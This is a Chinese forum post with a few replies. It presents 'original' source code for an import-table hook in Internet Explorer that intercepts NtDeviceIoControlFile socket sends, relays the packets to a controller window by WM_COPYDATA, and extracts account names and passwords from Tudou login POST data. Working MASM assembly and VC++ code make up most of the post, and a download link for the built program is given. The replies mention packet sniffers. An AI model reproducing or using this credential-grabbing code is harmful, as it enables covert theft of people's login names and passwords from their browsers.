标题:
[原创]IAT(导入表)HOOK获取IE浏览器POST的账号和密码技术
[打印本页]
作者:
ghosthand
时间:
2014-2-25 00:16
标题:
[原创]IAT(导入表)HOOK获取IE浏览器POST的账号和密码技术
本帖最后由 ghosthand 于 2014-2-25 00:24 编辑
GhostHand个人原创,转载请注明出处
本示例用了土豆的封包进行了测试,以下为展示图
技术点:
1、进程间通讯:采用了SendMessage配合参数WM_COPYDATA,其中cbData为数据长度,lpData为数据地址指针,dwData为自定义数据,这三个字段属于结构:COPYDATASTRUCT,通过发送这个消息给指定窗口,在指定窗口中创建OnCopyData来处理传输的数据。具体代码如下:
LOCAL cpd:COPYDATASTRUCT
mov cpd.dwData,0
push [edi].len
pop cpd.cbData
push [edi].buf
pop cpd.lpData
invoke SendMessage,hWinMain,WM_COPYDATA,NULL,addr cpd
复制代码
2、IAT_HOOK:导入表HOOK,程序在运行时需要调用API函数,API函数的地址存放在导入表中,通过PE结构可以获取导入表中指定函数的地址,同时我们也可以修改这个地址指向我们自己的处理函数,这就是导入表HOOK(需要学习的童鞋可以去看看PE文件结构),这里放上处理源码:
_HookDeviceIoControl proc
LOCAL @hMod
LOCAL @btw
LOCAL @import
LOCAL @count
mov @count,0
;获取模块起始地址
invoke GetModuleHandle,offset szMswsock
.if !eax
ret
.endif
mov @hMod,eax
pushad
mov esi,eax
assume esi:ptr IMAGE_DOS_HEADER
movzx eax,[esi].e_magic
.if (eax != IMAGE_DOS_SIGNATURE)
ret
.endif
add esi,[esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
mov eax,[esi].Signature
.if (eax != IMAGE_NT_SIGNATURE)
ret
.endif
mov esi,[esi].OptionalHeader.DataDirectory[8].VirtualAddress
.if !esi
ret
.endif
add esi,@hMod
assume esi:ptr IMAGE_IMPORT_DESCRIPTOR ;esi指向了第一个导入表
;循环处理每一个导入表
.while [esi].OriginalFirstThunk || [esi].TimeDateStamp || \
[esi].ForwarderChain || [esi].Name1 || [esi].FirstThunk
mov edx,@hMod
add edx,[esi].Name1
invoke lstrcmp,edx,offset szNtDll
.if eax == 0
mov @import,esi ;导入表RVA
.break
.endif
add esi,sizeof IMAGE_IMPORT_DESCRIPTOR
.endw
;当前为ntdll的导入表
mov esi,[esi].OriginalFirstThunk
add esi,@hMod ;esi当前指向IMAGE_THUNK_DATA结构数组
assume edx:ptr IMAGE_IMPORT_BY_NAME
.while esi
.if esi & IMAGE_ORDINAL_FLAG32
.else
mov edx,@hMod
add edx,dword ptr [esi]
invoke lstrcmp,addr [edx].Name1,offset szNtDeviceIoControlFile
.if eax == 0
mov esi,@import
mov esi,[esi].FirstThunk
add esi,@hMod
mov eax,sizeof IMAGE_THUNK_DATA
mul @count
add esi,eax
mov eax,dword ptr [esi]
mov lpNtDeviceIoControl,eax
mov eax,offset NewNtDeviceIoControlFile
mov lpNewNtDeviceIoControl,eax
mov ImportNtDeviceIoControl,esi
;写入自己程序的地址进行跳转
invoke WriteProcessMemory,hCurProc,esi,offset lpNewNtDeviceIoControl,sizeof dword,addr @btw
.break
.endif
.endif
add esi,4
mov eax,@count
add eax,1
mov @count,eax
.endw
assume edx:nothing
assume esi:nothing
popad
ret
_HookDeviceIoControl endp
复制代码
3、封包的获取:本例采用了IAT HOOK了NtDeviceIoControlFile函数的导入表信息,并通过对IoControlCode控制码进行过滤,如果IoControlCode为AFD_SEND(AFD_SEND equ 1201fh),则通过invoke SendMessage,hWinMain,WM_COPYDATA,NULL,addr cpd将消息发送到我们的处理进程。为了方便我们和处理进程(主进程)之间的通讯,我们可以将主进程的窗体句柄通过DLL的函数写入DLL中的一个内存共享区,内存共享区可以通过在DLL生成链接时的参数指定(/section:.bss,S),这个参数指定DLL中的“.data?”段为共享内存块。
4、有用信息的过滤:既然数据已经获取到了,那我们就应该要提取数据中的有用信息了,用一个我自己写的小工具获取一下登陆土豆网站时候的数据,会发现去下有用信息:
通过字符串比对定位有用数据的位置,然后将有用的数据复制到字符数组中,以下为VC源码,写的不是很好,希望大家能一起交流一下:
BOOL CTuDouDlg::OnCopyData(CWnd* pWnd, COPYDATASTRUCT* pCopyDataStruct)
{
// TODO: Add your message handler code here and/or call default
char buf[8192];
char name[512];
char pwd[512];
char url[512];
memset(buf,0,sizeof(buf));
memset(name,0,sizeof(name));
memset(pwd,0,sizeof(pwd));
memset(url,0,sizeof(url));
memcpy(buf,pCopyDataStruct->lpData,10);
//判断头部数据
if(0 == strcmp(buf,"loginname="))
{
int lenBuf;
int len;
memset(buf,0,sizeof(buf));
memcpy(buf,pCopyDataStruct->lpData,pCopyDataStruct->cbData);
//解析用户名
for (len=0,lenBuf=10;;len++,lenBuf++)
{
if (buf[lenBuf]=='&')
{
lenBuf+=10;
break;
}
if (buf[lenBuf]=='%')
{
name[len]='@';
lenBuf+=2;
continue;
}
name[len]=buf[lenBuf];
}
//解析密码
for(len=0;;len++,lenBuf++)
{
if (buf[lenBuf]=='&')
{
lenBuf++;
break;
}
pwd[len]=buf[lenBuf];
}
//解析其他数据
int tempLen = pCopyDataStruct->cbData - lenBuf;
for(len=0;len<tempLen;len++,lenBuf++)
{
url[len]=buf[lenBuf];
}
CListCtrl* pList = (CListCtrl*)GetDlgItem(IDC_LIST);
int item = pList->InsertItem(0,name);
pList->SetItemText(item,1,pwd);
pList->SetItemText(item,2,url);
}
return CDialog::OnCopyData(pWnd, pCopyDataStruct);
}
复制代码
程序下载地址:
http://ghostasm.com/forum.php?mo ... &extra=page%3D1
作者:
fwbook
时间:
2014-2-25 09:18
还有,就是通过抓包工具,也可以实现这样的功能。例如Sniffer。当然这时工具流的处理方式。
作者:
ghosthand
时间:
2014-2-25 22:59
回复
2#
fwbook
Sniffer确实也是一个不错的工具,分析封包数据还得看一个工具如何去过滤出有用的封包了
作者:
fwbook
时间:
2014-2-26 09:50
回复
3#
ghosthand
设置过滤器,就OK。Sniffer自带很多过滤器。当然,也可以下载别人写好的。反正是很强大的东东。强大到很危险。
欢迎光临 万卷图书 (http://wanjuanchina.net/)
Powered by Discuz! 7.0.0